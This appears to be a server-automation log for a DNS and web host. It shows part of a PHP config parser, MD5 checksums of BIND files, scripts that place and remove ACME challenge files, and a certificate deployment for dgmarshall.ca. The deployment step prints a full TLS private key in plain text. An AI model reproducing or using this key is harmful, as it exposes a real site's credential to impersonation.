		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-02 16:27:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp449875; rm /tmp/pkp449875'

2026-02-02 16:27:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-02 16:27:23: Establishing a connection
2026-02-02 16:27:23: Establishing a connection
2026-02-02 16:27:24: 

PUT: /tmp/pkp945847

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-02 16:27:24: 

chmod 755 /tmp/pkp945847; /tmp/pkp945847; rm /tmp/pkp945847

2026-02-02 16:27:24: 


1


2026-02-02 16:27:25: Establishing a connection
2026-02-02 16:27:25: 

PUT: /tmp/pkp151573

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > velJV9L0jEigAQX1CBUMafroj_t3CSZGjsw3gzMG24c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
velJV9L0jEigAQX1CBUMafroj_t3CSZGjsw3gzMG24c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 velJV9L0jEigAQX1CBUMafroj_t3CSZGjsw3gzMG24c
cat > wPs_TcxefORHesEjrbLOFBRKqq7olnad7hlYkBRXeh0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wPs_TcxefORHesEjrbLOFBRKqq7olnad7hlYkBRXeh0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wPs_TcxefORHesEjrbLOFBRKqq7olnad7hlYkBRXeh0


2026-02-02 16:27:25: 

chmod 755 /tmp/pkp151573; /tmp/pkp151573; rm /tmp/pkp151573

2026-02-02 16:27:25: 




2026-02-02 16:27:37: Establishing a connection
2026-02-02 16:27:38: 

PUT: /tmp/pkp850270

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm velJV9L0jEigAQX1CBUMafroj_t3CSZGjsw3gzMG24c
rm wPs_TcxefORHesEjrbLOFBRKqq7olnad7hlYkBRXeh0


2026-02-02 16:27:38: 

chmod 755 /tmp/pkp850270; /tmp/pkp850270; rm /tmp/pkp850270

2026-02-02 16:27:38: 




2026-02-02 16:27:38: Establishing a connection
2026-02-02 16:27:38: 

PUT: /tmp/pkp932194

#!/bin/bash
temp_file=$(mktemp)
TARGET=81f76087f3fb05d6e60af69d2a7f0ab7.crt

cat > $temp_file <<'endmsg'
56:15:dc:a7:b6:2d:4f:31:2b:a6:d0:12:b5:7d:f1:3b

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBXsyWDWJjaw2nRnlSMsoZhpVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAyMTUyOTA1WhcNMjYwNTAzMTUyOTA0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
s0BwsWqoB6B97FnpM1JP41xzEAjkG6LGNEu0NZEO5AnOpwjh0zWSOwAtZerldOAQ
E3ZPsOaBcYJcno4VyeVrWsibLmvqNnC2Im3DQedIU47u3NSBRY0RnpAZhzXeumVX
mvBNIBSV4ibE0gj18P5soYCGX+icTdsC5wHsEavreo/WfWgMoI9yV5y1fso6i0DG
mUn19192z5bGPp7wi8h4gJI11KXidpQrNXUxwV8FSEF8g2I8lX261xYLjLLng3eA
Uj4uB2SJcW/UyvmXhfWOf5+3akU/QWMQmuQMbAqmS6uIgu/bo2+mW+zndMWjR6JR
ZVis5LVPwOMGyV9ft7q7ywIDAQABo4ICOTCCAjUwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBR/bR2i3YFyrN8Kd7irnMydLXyPGTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIE
AgSB/gSB+wD5AH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGc
Hy5S5AAIAAAFADFHXHoEAwBHMEUCIQD0jXrHzhXDA+Y//X2ymn4vZy7IeVC7y2l4
NCO2r0sbZwIgfRxlLk+rIHZMXGiy2kozvGsV1laFoGmtQaclvIY3lSIAdwCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZwfLlpoAAAEAwBIMEYCIQCF
rwztGiH3JhD5dPpWn/2LFWlSaO1//iPpdRYMPlm1CwIhAPnKrU6ZCQ76CFAhykV+
BfvlrnPVJVi9JpvgwXPJ0J1fMA0GCSqGSIb3DQEBCwUAA4IBAQA7w0xrkDUJObrI
pwFwOGFt5jAYBcHzcqvPlpYOozg7rY+/yu5ktBa3LKN40MFwnBOIUVC2Nwf+Mppw
n52SJI2ORe5EPonJhX6xVkJxl5z9fqIt4Q1eJmYS2bQ7OzNZs9PwCJKmzw8QgGVv
EDb+XJboSHJXjf2c9MXW2aaJXaGIN9wpw/oSou2lykB8QX8GpM+JFxocIGv9qm93
TZ5382PfhT9fPghSqwRHwjxQlFTWcg6n3d7oVwyl3BzwkvRdOrHq2QuW0N6gxG/t
tBODo4gWluMBNnkZ8UFe0ymH9vCQ9okfw3vQfb4gUvLcxcxZnYJTqIhwUIobjHPn
kkFlB260
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCzQHCxaqgHoH3s
WekzUk/jXHMQCOQbosY0S7Q1kQ7kCc6nCOHTNZI7AC1l6uV04BATdk+w5oFxglye
jhXJ5WtayJsua+o2cLYibcNB50hTju7c1IFFjRGekBmHNd66ZVea8E0gFJXiJsTS
CPXw/myhgIZf6JxN2wLnAewRq+t6j9Z9aAygj3JXnLV+yjqLQMaZSfX3X3bPlsY+
nvCLyHiAkjXUpeJ2lCs1dTHBXwVIQXyDYjyVfbrXFguMsueDd4BSPi4HZIlxb9TK
+ZeF9Y5/n7dqRT9BYxCa5AxsCqZLq4iC79ujb6Zb7Od0xaNHolFlWKzktU/A4wbJ
X1+3urvLAgMBAAECggEACp/krhdoyz7vh81SfbjAxHSr20TzpFGzFtFv5obpD4on
Rg5IOFkiCD478qEIJbPMMCMgmRcoj/5OmBVK5FMlWFWwoQFDeiOXIBZKbwMS7eT4
cn1kBifU5gWbhcCjKYAtP6FDqQWfVq6+lsZyMW0bKj1weYnTjefP1bpu8CM1C2gW
tZMmGwFckjNaoKzXOZuy+j5stIRI5YL1mLCZwohGRW/nayQvov2fr0N2M1v0r9Oh
0LPgbjR4xeU/jljAkUHndm9R0+5Uew3teyrnBdT1H3lciXnEHdx70W9Z8KIUjKrm
XLLhDdPaC0PRtei5IKQ+aqDUAJwlilB+uma/50VWKQKBgQDlia/wW9oiCpbDjYIX
Z1UUIwoy8Xhga92pkFP5rUKnIrDw+gbnvvk8nkwUuognnJocTNxOALCWr+fdwA/b
tKihk97jRxc46GA1UtPNSX8rv74l//4Y7Q7HQynFqmv7yuHjD4+OSo03zpwnrbAC
DmXsVSG714U6DLwmbhqrznXiKQKBgQDH6qq4Yd9azuxBFwvXt7757/pvbdURl5C0
10V/aU/jpA4XrK4FFdRJ+OsAkYWSUyh4aQZvFizd4FVUFSz8lWiS/7JHidKkXx6t
7cJUc8Gd71UP7TUFNGz0kFws24SwL/YHrCsq7qe4hTfnxAY9MRr6aGjav1i8q+Dz
V+imM7k00wKBgFrxmKHU4rJGG8HTGU4IhO77ixjwD0+0rRh3tK3h9dyepBh2F7JO
OhXIakB0P2niZDT+RvMo1s59V5LGfAICrCWInvDRw+OqPiQicwSNMDO3PrFzocti
cU6Fz9EfWrVihukdyzUHWLhZxgj6ihfmeH+Qo1L3azO6w/k9+pdDr/UxAoGALKSn
yRL6GMI6mfJ2j46V1CSV7Uo+mXYaN3gXKfOvhms9RmYmWjZcuMQgXnkgteNiFzmE
2Uu/azDMfUFZUXJf7uuwuS763f/rzvVYPxm2c/ldKnhTLb1eU2LlYpMG131uWJpG
7Yhr5dXB/TyWFBYiKycjuy2duEw9qLnJ10uXoUcCgYAJ396zVSREOwWUA9u4tRzw
Fce3auQCS9CtJNSs4GiMKjF5gIXrqETk2cGxiOQMptvfxrEp0a5BWe7Y82lOCyC3
MJO4AC9v83NfJVfulrZ3hH9QFeXHf5SOxk50mzXoe5DE2oYsVmqzbLrZIBJkN7hW
QxckvqZ7fqsPVt5rzrFbOg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
